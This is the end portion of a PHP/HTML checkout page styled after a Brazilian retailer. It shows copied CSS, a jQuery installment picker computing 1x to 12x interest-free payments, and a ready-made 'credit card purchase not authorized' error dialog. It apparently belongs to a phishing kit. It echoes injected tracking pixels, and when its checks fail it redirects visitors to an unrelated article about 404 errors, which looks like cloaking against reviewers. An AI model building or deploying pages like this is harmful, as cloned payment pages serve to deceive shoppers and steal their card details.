    .fHFdtO {
        padding: 0.5rem;
        width: 100%;
        margin: 0px auto;
    }
    .emWfRI {
        font-size: 14px;
    }
    #bank-slip .how-to svg {
        width: 60px;
    }
    .llBiCf {
        margin: 0px;
        padding-top: 1rem;
        width: 100%;
    }
    .bqXZKj input[type="radio"]:checked ~ .iconsWrapper::before {
        transform: scaleX(0.8);
    }
    .hNreIX::before {
        content: "";
        position: absolute;
        left: 0px;
        right: 0px;
        bottom: 0px;
        height: var(--lineBottomHeight);
        background-color: var(--themeColor);
        transition: all 150ms ease-out 0s;
        transform: scaleX(0);
    }
}

.Vamma {
    --brandColor: #EB0014;
    --backgroundColor: white;
    --textColor: #EB0014;
    background-color: var(--backgroundColor);
    color: var(--textColor);
    box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 6px;
    border: 2px solid var(--brandColor);
    font-size: 16px;
}

.hqKumc {
    --brandColor: #EB0014;
    --backgroundColor: white;
    --textColor: #EB0014;
    background-color: var(--backgroundColor);
    color: transparent;
    box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 6px;
    border: 2px solid var(--brandColor);
    font-size: 16px;
}
.hqKumc:hover {
    filter: opacity(90%);
}
.gdARiY > .loader {
    position: absolute;
}
.ftogQw {
    display: flex;
    flex-direction: column;
    -webkit-box-pack: center;
    justify-content: center;
    box-sizing: border-box;
    height: 16px;
    width: 16px;
}
.eoMQwK {
    overflow: hidden;
    height: 8px;
    width: 16px;
}
.fgliWn {
    width: 16px;
    height: 16px;
    border-width: 2.5px;
    border-style: solid;
    border-color: rgb(235, 0, 20) rgb(235, 0, 20) transparent transparent;
    border-image: initial;
    border-radius: 50%;
    box-sizing: border-box;
    animation: 1.5s ease-in-out 0s infinite normal none running spinner-animation;
    transform: rotate(-200deg);
}
.gvTyrx {
    overflow: hidden;
    height: 8px;
    width: 16px;
    transform: rotate(180deg) scale(-1, 1);
}
.gdARiY:disabled {
    cursor: not-allowed;
    filter: opacity(70%);
}
.hqKumc:hover {
    filter: opacity(90%);
}

@keyframes  spinner-animation {
0% {
    opacity: 1;
}

25% {
    opacity: 0.3;
}
50% {
    transform: rotate(115deg);
    opacity: 1;
}
75% {
    opacity: 0.3;
}

100% {
    opacity: 1;
}
}
</style>

    </div>
    <script>
$(document).ready(function() {
    $('#btnParcela').on('click', function() {
        $('#modalBackdrop').addClass('--open');
        $('#dialogParcela').show();
    });

    $('.sc-dWdcrH.hKxtfS').on('click', function() {
        $('#modalBackdrop').toggleClass('--open');
        $('#dialogParcela').hide();
        $('#dialogErro').hide();
    });

    $('.close-icon').on('click', function() {
        $('#modalBackdrop').toggleClass('--open');
        $('#dialogParcela').hide();
        $('#dialogErro').hide();
    });

    $('.botaoParcela').on('click', function() {
        parcelas = $(this).val();
        var finalValor = parseFloat(parseFloat($('#valorProdutoC').val() / parcelas).toFixed(2));
        var dinheiro = finalValor.toLocaleString("pt-BR", { style: "currency" , currency:"BRL"});
        $('#btnParcela > span').html(parcelas + 'x de R$ ' + dinheiro)
        setTimeout(function(){
            $('#modalBackdrop').removeClass('--open');
            $('#dialogParcela').hide();
        }, 700);
    })
});
        </script>
    <div id="modal-root">
        <div class="new-modal-backdrop" id="modalBackdrop">
            <div class="new-modal center-modal" id="modal">
                <img class="close-icon" alt="" src="./assets/imgs/modal-close-icon.511bdcbb.svg">

                <div style="display: none" class="sc-xyEjG cPUXYV" id="dialogErro">
                    <div class="sc-fXoxut grzRrs">
                        <svg width="24px" height="24px" viewBox="0 0 24 24" class="simbolo-x"><path fill="#EB0014" d="M6.06066017,5 L11.9993301,10.9393301 L17.9393398,5 C18.232233,4.70710678 18.7071068,4.70710678 19,5 C19.2928932,5.29289322 19.2928932,5.76776695 19,6.06066017 L13.0603301,11.9993301 L19,17.9393398 C19.2928932,18.232233 19.2928932,18.7071068 19,19 C18.7071068,19.2928932 18.232233,19.2928932 17.9393398,19 L11.9993301,13.0603301 L6.06066017,19 C5.76776695,19.2928932 5.29289322,19.2928932 5,19 C4.70710678,18.7071068 4.70710678,18.232233 5,17.9393398 L10.9393301,11.9993301 L5,6.06066017 C4.70710678,5.76776695 4.70710678,5.29289322 5,5 C5.29289322,4.70710678 5.76776695,4.70710678 6.06066017,5 Z" id="clear"></path></svg>
                    </div>
                    <h3 class="sc-Fyfyc fTMjUf"> ooops! algo deu errado :(</h3>
                    <p class="sc-jXktwP hdiogm">compra não autorizada no cartão de crédito.</p>
                    <div class="sc-dWdcrH hKxtfS">
                        <button class="sc-iBaPrD sc-eggNIi gdARiY eRIAeo sc-jGVbCA fQDgZz sc-jGVbCA fQDgZz">voltar para pagamento</button>
                    </div>
                </div>

                <div style="display: none" class="sc-emTkGv cztTMG" id="dialogParcela">
                    <h3 class="sc-bvVdbW fsfWuT">número de parcelas</h3>
                    <ul class="sc-ekboDZ iHJUGZ">
                        <input type="hidden" id="valorProdutoC" value="<?php $valorTotal = number_format($preco, 2, '.', ''); echo $valorTotal ?>">
                        
                        <label data-cy="installmentItem__1" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__1" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="1" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">1x de  <span class="--money">R$ <?php echo $preco ?> </span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__2" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__2" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="2" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">2x de  <span class="--money"><?php

$parcelas = 2;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?></span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__3" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__3" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="3" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">3x de  <span class="--money"><?php

$parcelas = 3;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?> </span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__4" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__4" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="4" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">4x de  <span class="--money"> <?php

$parcelas = 4;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?> </span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__5" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__5" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="5" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">5x de  <span class="--money"><?php

$parcelas = 5;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?> </span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__6" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__6" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="6" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">6x de  <span class="--money"><?php

$parcelas = 6;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?> </span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__7" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__7" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="7" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">7x de  <span class="--money"><?php

$parcelas = 7;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?> </span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__8" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__8" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="8" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">8x de  <span class="--money"><?php

$parcelas = 8;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?></span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__9" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__9" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="9" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">9x de  <span class="--money"><?php

$parcelas = 9;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?></span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__10" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__10" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="10" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">10x de  <span class="--money"><?php

$parcelas = 10;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?></span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__11" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__11" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="11" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">11x de  <span class="--money"><?php

$parcelas = 11;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?></span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                        
                        <label data-cy="installmentItem__12" class="sc-btdgZA iWoAiG">
                            <label class="sc-kTaSZA eRNvLK">
                                <input id="installment__12" data-cy="installmentList__InputRadio" name="optionInput__installment" type="radio" value="12" class="sc-koaBLD gNJvAP botaoParcela">
                                <svg viewBox="0 0 20 20" class="sc-ha-DqYV fduQSa"><circle cx="10" cy="10" r="9" class="sc-bKNyAY kBOEFC"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-cfZGEC gXFCeW inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-jCXOcT fCDkYV outer"></path></svg>
                            </label>
                                                        <div class="sc-hWRnYy iavepH"><p class="sc-kKXzAB eriaAN">12x de  <span class="--money"><?php

$parcelas = 12;
$valor = $preco; //já usei com e sem double e na mesma
$valorTotal = number_format($valor, 2, '.', '');
$valor_parcela = $valorTotal / $parcelas;
echo 'R$'. number_format($valor_parcela, 2, ',', '.');

?></span></p><p class="sc-hTZrWc gIoqJs">sem juros</p></div>
                        </label>
                                            </ul>
                </div>
            </div>
        </div>
    </div>

<style>
    .cPUXYV {
    text-align: center;
    padding: 14px 28px;
}
.grzRrs {
    width: 30px;
    height: 30px;
    border-radius: 50%;
    background-color: rgb(235, 0, 20);
    color: rgb(255, 255, 255);
    margin: 0px auto 1.5rem;
    line-height: 2;
}
.grzRrs .simbolo-x {
    margin-top: 2px;
}
.grzRrs path {
    fill: rgb(255, 255, 255);
}
.fTMjUf {
    color: rgb(51, 51, 51);
    font-size: 21px;
    font-weight: bold;
    margin-bottom: 2rem;
}
.hdiogm {
    color: rgb(102, 102, 102);
    font-size: 18px;
    margin-bottom: 2rem;
}
.hKxtfS {
    display: flex;
    justify-content: space-around;
    -webkit-box-align: center;
    align-items: center;
}
.cztTMG {
    padding-left: 1rem;
    margin-top: -6px;
}
.fsfWuT {
    color: rgb(51, 51, 51);
    font-size: 24px;
    font-weight: bold;
}
.iHJUGZ {
    padding: 0px;
    list-style: none;
    display: flex;
    flex-direction: column;
    width: 400px;
    max-height: 365px;
    overflow-y: scroll;
}
.iWoAiG {
    position: relative;
    border-bottom: 1px solid rgb(236, 236, 236);
    padding: 32px 0px;
    display: flex;
    flex: 1 0 auto;
    cursor: pointer;
}
.eRNvLK {
    width: 24px;
    height: 24px;
    position: relative;
}
.gNJvAP {
    cursor: pointer;
    appearance: none;
    display: none;
    outline: none;
    border-radius: 0px;
}
.fduQSa {
    width: 24px;
    height: 24px;
    display: block;
    cursor: pointer;
    fill: none;
}
.kBOEFC {
    stroke-width: 2;
    stroke: rgb(204, 204, 204);
}
.gXFCeW {
    stroke: rgb(235, 0, 20);
    stroke-width: 6;
    stroke-dasharray: 19;
    stroke-dashoffset: 19;
}
.fCDkYV {
    stroke: rgb(235, 0, 20);
    stroke-width: 2;
    stroke-dasharray: 57;
    stroke-dashoffset: 57;
}
.iavepH {
    display: flex;
    flex-wrap: wrap;
    min-width: 160px;
    margin-left: 2em;
}
.iavepH > p {
    width: 100%;
}
.--money {
    text-transform: none;
}
.eriaAN {
    color: rgb(0, 0, 0);
    font-size: 1rem;
    margin-bottom: 4px;
}
.iavepH > p {
    width: 100%;
}
.gIoqJs {
    color: rgb(136, 136, 136);
    font-size: 14px;
    margin-bottom: 8px;
}
.gNJvAP:checked + svg path.inner {
    stroke-dashoffset: 38;
    transition-delay: 0.3s;
}

.gNJvAP:checked + svg path {
    transition: all 0.4s ease 0s;
}
.gNJvAP:checked + svg path.outer {
    stroke-dashoffset: 0;
}

@media (max-width: 768px){
    .iHJUGZ {
        width: 100%;
    }
    .iWoAiG {
        padding: 20px 0px;
    }
    .hKxtfS {
    flex-direction: column;
}
}
</style>
<?php

if($pixelf <> ''){
	
	
	echo $pixelf;
	
}

?>

</body>
</html>

	
	
	
	
<?php }else{
	
		Header( "Location: https://www.techtudo.com.br/listas/2018/07/o-que-e-erro-404-veja-significado-dos-problemas-mais-comuns.ghtml" );
}


}else{
	
		Header( "Location: https://www.techtudo.com.br/listas/2018/07/o-que-e-erro-404-veja-significado-dos-problemas-mais-comuns.ghtml" );
	
} ?>